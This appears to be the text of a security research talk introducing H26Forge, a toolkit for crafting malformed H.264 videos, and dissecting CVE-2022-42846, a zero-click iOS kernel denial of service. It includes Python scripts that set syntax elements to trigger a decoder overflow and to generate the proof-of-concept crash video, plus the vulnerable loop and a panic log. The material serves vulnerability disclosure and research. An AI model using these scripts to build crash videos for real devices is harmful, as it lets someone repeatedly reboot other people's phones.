The Most Dangerous Codec in the World: Finding and Exploiting Vulnerabilities in H.264 Decoders

Willy R. Vasquez\textsuperscript{1}
Stephen Checkoway\textsuperscript{2}
Hovav Shacham\textsuperscript{1}

\textsuperscript{1} The University of Texas at Austin
\textsuperscript{2} Oberlin College
Agenda

H26Forge
Toolkit to produce specially crafted videos to find vulnerabilities in video decoders and investigate their exploitability

Show the complexity of video decoding and demonstrate the decoder attack surface

Provide overview of CVE-2022-42846: iOS Kernel DoS
Video Attack Surface
Threat Model
The video decoding pipeline

Browsers/Video Players
- Parse MP4

Kernel Driver
- Parse Parameter Sets

Hardware
- Parse Picture Data

MP4
- H.264 Parameter Sets
- H.264 Slices

H.264 Parameter Sets
- H.264 Slices

H.264 Slices

Video Frames
Hardware and Kernel Drivers

• Dedicated hardware for smooth video playback
• Hardware is controlled by kernel driver, which
  • Takes untrusted input from the Internet
  • Parses part of the video in the kernel
  • Sends the rest to hardware to produce frames

Surely nothing could go wrong
H.264/Advanced Video Codec (AVC)

- Standardized in 2003 by the ITU & Moving Picture Experts Group (MPEG).
- Has two names: H.264 and AVC. We use H.264 for simplicity.
- Over 800 pages describing video decoding
- H.264 is supported on all modern devices

https://www.itu.int/rec/T-REC-H.264
Codecs use prediction plus residue to compress videos

- Video is a sequence of frames/pictures
- Main Idea: Compress videos by identifying similarities within (Intra) and across (Inter) frames.
- Replace communication bandwidth with computation via prediction:
  - **Predict** what an image looks like
  - Subtract the prediction from the original to produce a residue
  - Send the **prediction instructions** and residue
- H.264 communicates prediction instructions and residue via **syntax elements**
Video Encoding finds similarities; Video Decoding recovers frames.

Video Encoding

- Video Frames
- Find similarities

Video Decoding

- Video Frames
- Prediction Instructions
- Residue

Encoded videos

Encoded videos + Residue

Residue

Video Frames
Inter Prediction: similarities across frames

https://www.youtube.com/watch?v=LDeL7-49qm4
Intra Prediction: similarities within a frame

The H.264 Advanced Video Compression Standard by Iain E. Richardson
Unusual prediction instructions can lead to security vulnerabilities in video decoders.

CVE-2022-22675: AppleAVD Overflow in AVC_RBSP::parseHRD

Natalie Silvanovich

12:01 PM · May 2, 2022
Manually modifying H.264 syntax elements (prediction instructions) is challenging

CVE-2022-22675: AppleAVD Overflow in AVC_RBSP::parseHRD

Natalie Silvanovich

The Basics

OMG. I wish this existed. I forged the file bit by bit and it was terrible. One trick I use is to build ffmpeg with symbols and break where the feature you are trying to trigger is (for example reading HRD).

12:52 AM · May 17, 2022

https://www.itu.int/rec/T-REC-H.264
https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2022/CVE-2022-22675.html
https://twitter.com/natashenka/status/1526440524441194496
Bitstream representation is fragile – Bit flips lead to unpredictable changes

| 00000300 | 18 AC A5 74 F5 80 86 46 FE 55 78 D7 58 1D 12 D8 |
| 00000310 | 26 D2 6E 70 3E A8 E2 29 F4 5A 8F 50 35 90 11 B7 |
| 00000320 | BD AE 5E 11 55 78 B8 4B 84 27 77 44 E5 74 37 |
| 00000330 | C9 58 2C 08 96 92 71 7D A6 83 1F 93 BC 30 |
| 00000340 | 1E 49 75 91 44 30 13 01 4E FA 38 00 11 BE 78 0C |
| 00000350 | E2 03 2A 66 4B 4C 6A F2 E8 BB 67 27 1C CA 78 47 |
| 00000360 | 00 6B 7A C7 C3 12 B6 2C F3 C2 6C C9 BF 88 B0 8E |
H26Forge
Programmatically edit H.264 syntax elements with Python scripts

```
hrd_parameters( ) {
    cpb_cnt_minus1
    bit_rate_scale
    cpb_size_scale
    for( SchedSelIdx = 0; SchedSelIdx <= cpb_cnt_minus1; SchedSelIdx )
        bit_rate_value_minus1[ SchedSelIdx ]
        cpb_size_value_minus1[ SchedSelIdx ]
        cbr_flag[ SchedSelIdx ]
}

# Set `cpb_cnt_minus1` to large value
    cpb_cnt_minus1 = 255
    decoded_syntax["spses"[0]["vui_parameters"]["vcl_hrd_parameters"]["cpb_cnt_minus1"] = cpb_cnt_minus1

# Set dependent syntax elements to incrementing values
    decoded_syntax["spses"[0]["vui_parameters"]["vcl_hrd_parameters"]["bit_rate_value_minus1"] = [i for i in range(cpb_cnt_minus1+1)]
    decoded_syntax["spses"[0]["vui_parameters"]["vcl_hrd_parameters"]["cpb_size_values_minus1"] = [i for i in range(cpb_cnt_minus1+1)]
    decoded_syntax["spses"[0]["vui_parameters"]["vcl_hrd_parameters"]["cbr_flag"] = [False] * (cpb_cnt_minus1+1)
```
H26Forge: Toolkit to manipulate H.264 Syntax Elements

30,000+ lines of Rust

Released under MIT License

https://github.com/h26forge/h26forge
H26Forge: Toolkit to manipulate H.264 Syntax Elements

https://github.com/h26forge/h26forge
H26Forge: Toolkit to manipulate H.264 Syntax Elements

[Diagram showing the process of H.264 syntax manipulation with inputs and outputs]

https://github.com/h26forge/h26forge
H26Forge: Toolkit to manipulate H.264 Syntax Elements

https://github.com/h26forge/h26forge
H26Forge: Toolkit to manipulate H.264 Syntax Elements

https://github.com/h26forge/h26forge
Generate H.264 videos with randomized syntax elements

```
"cpb_cnt_minus1": {
    "min": 0,
    "max": 255
},

"bit_rate_scale": {
    "min": 0,
    "max": 15
},

"cpb_size_scale": {
    "min": 0,
    "max": 15
},

"bit_rate_value_minus1": {
    "min": 0,
}
```
Vulnerabilities found with H26Forge

• Found vulnerabilities in video players, kernel extensions, and hardware:
  • CVE-2022-3266: Firefox out-of-bounds read
  • CVE-2022-48434: FFmpeg use-after-free
  • CVE-2022-32939: iOS kernel heap write
  • **CVE-2022-42846: iOS kernel DoS (0-click)**
  • CVE-2022-42850: iOS kernel heap overflow
  • Hardware information leak

Details in paper
CVE-2022-42846: iOS Kernel DoS
Hardware and Kernel Drivers

• Dedicated hardware for smooth video playback
• Hardware is controlled by kernel driver, which
  • Takes untrusted input from the Internet
  • Parses part of the video in the kernel
  • Sends the rest to hardware to produce frames

Surely nothing could go wrong
CVE-2022-42846: iOS Kernel DoS

- Denial of Service from unexpected state while accessing the Decoded Picture Buffer (DPB)
- Impacts AppleD5500 Kernel Extension
  - Found in up to Apple A11 SoCs
  - Developed by Imagination Technologies
- Found with H26Forge’s Video Generation
- Triggerable from Video Thumbnailing, a 0-click attack surface
- Patched in
  - iOS and iPadOS 15.7.2
  - iOS and iPadOS 16.2
Decoded Picture Buffer (DPB)

Video Decoder

Video Frames

Decoded Picture Buffer (DPB)

Frame 0

Frame 1

...

28
Decoded Picture Buffer (DPB)

Video Decoder

Inter Predicted Frame

Video Frames

+ 

Decoded Picture Buffer (DPB)

Frame 0

Frame 1

...
Decoded Picture Buffer (DPB)

Video Decoder

Inter Predicted Frame

Video Frames

Decoded Picture Buffer (DPB)

Frame 0

Frame 1

...

Frame i
Decoded Picture Buffer (DPB)

Video Decoder

Inter Predicted Frame

+  

Frame i

Video Frames

Decoded Picture Buffer (DPB)

What if the DPB is empty?
Decoded Picture Buffer (DPB)

Empty DPB
AppleD5500.kext Undefined State

Decoded Picture Buffer (DPB)

```
uint8 size = dpb->size; // size set to 0
```
uint8 size = dpb->size; // size set to 0
...
**Wraps around!**
uint8 index = size - 1; // set to 255 (0xff)
Decoded Picture Buffer (DPB)

**Empty DPB**

```c
uint8 size = dpb->size; // size set to 0
...
uint8 index = size - 1; // set to 255 (0xff)
...
uint32 new_size = index + 1;
```
uint8 size = dpb->size; // size set to 0
...
uint8 index = size - 1; // set to 255 (0xff)
...
uint32 new_size = index + 1;    // No overflow!
Decoded Picture Buffer (DPB)

Empty DPB

```c
uint8 size = dpb->size; // size set to 0
...
uint8 index = size - 1; // set to 255 (0xff)
...
uint32 new_size = index + 1; // set to 256 (0x100)
```
uint8 size = dpb->size; // size set to 0
...
uint8 index = size - 1; // set to 255 (0xff)
...
uint32 new_size = index + 1; // set to 256 (0x100)
...
uint8 i = 0;
while (i < new_size){
    shift_picture(i);
    i++;
}
uint8 size = dpb->size; // size set to 0
...
uint8 index = size - 1; // set to 255 (0xff)
...
uint32 new_size = index + 1; // set to 256 (0x100)
...
uint8 i = 0;
while (i < new_size){
    shift_picture(i);
    i++;
}
AppleD5500.kext Undefined State

Decoded Picture Buffer (DPB)

Empty DPB

```c
uint8 size = dpb->size; // size set to 0
...
uint8 index = size - 1; // set to 255 (0xff)
...
uint32 new_size = index + 1; // set to 256 (0x100)
...
uint8 i = 0;
while (i < new_size){
    shift_picture(i);
    i++;
}
```

i can only be in the range [0, 255]

Will never reach 256!!
appleD5500.kext undefined state

decoded picture buffer (DPB)

```
uint8 size = dpb->size; // size set to 0
...
uint8 index = size - 1; // set to 255 (0xff)
...
uint32 new_size = index + 1; // set to 256 (0x100)
...
uint8 i = 0;
while (i < new_size){
    shift_picture(i);
    i++;
}
```

i can only be in the range [0, 255]  
Will never reach 256!!  
Infinite Loop!
Decoded Picture Buffer (DPB)

Empty DPB

```c
uint8 size = dpb->size; // size set to ... 
uint8 index = size - 1; // set to 255 (0xff) ...
uint32 new_size = index + 1; // set to 256 (0x100) ... 
uint8 i = 0;
while (i < new_size){
    shift_picture(i);
    i++;
}
```

i can only be in the range [0, 255] 
Will never reach 256!! Infinite Loop!
Panic! at the Kernel

Memory 10: 6x8
OS version: 17C54
Kernel version: Darwin Kernel Version 19.2.0 Mon Nov 4 17:45:11 PST 2019; root:xnu-6153.60.86~2/RELEASE_A
Kernel UUID: 9987b92a-978b-435b-91bf-13f200833160
iBoot version: iBoot..5520.06.11
Paniniclog version: 13
Kernel panic: 0x0c00000000000a8000
Kernel text base: 0x0c000000 0x0c00000006c000
mach_absolute_time: 0x26557e05d
Epoch Time:  sec  usec
Root 0x62f2645b 0x0000022f
Sleep 0x62f26573 0x0090432d
Wake 0x62f26585 0x00906633
Calendar: 0x62f266c5 0x000775a86
```python
# IDR B slice

def idr_b_slice(ds):
    from slice_n_remove_residue import remove_nth_frame_residue

    # First slice will be IDR
    ds["nalu_headers"][2]["nal_unit_type"] = 5

    # Slice 0 will be a B slice
    ds["slices"][0]["sh"]["slice_type"] = 1

    # Ensure ref pic list modification is called
    # This is for CVE-2022-42846 to get into an infinite loop
    ds["slices"][0]["sh"]["ref_pic_list_modification_flag_10"] = True
    ds["slices"][0]["sh"]["modification_of_pic_nums_idc_10"] = [3]

    ds = remove_nth_frame_residue(0, ds)

    return ds
```
• When decoding an Inter predicted frame with an empty DPB, a type error leads to an unsatisfiable comparison and thus an infinite loop
• Infinite loop causes a **watchdog timeout** and device reboot
• Triggerable from video thumbnailing, **0-click attack surface**
• **Video Ping of Death**: Could DoS someone by constantly sending them this video
• **Can use H26Forge to generate the Proof-of-Concept video**
H26Forge is a domain-specific tool for producing specially-crafted H.264 videos, reducing the burden for security researchers exploring the codec space.

Found and reported issues in applications, kernels, and hardware.

Questions?
wrv@utexas.edu

https://github.com/h26forge/h26forge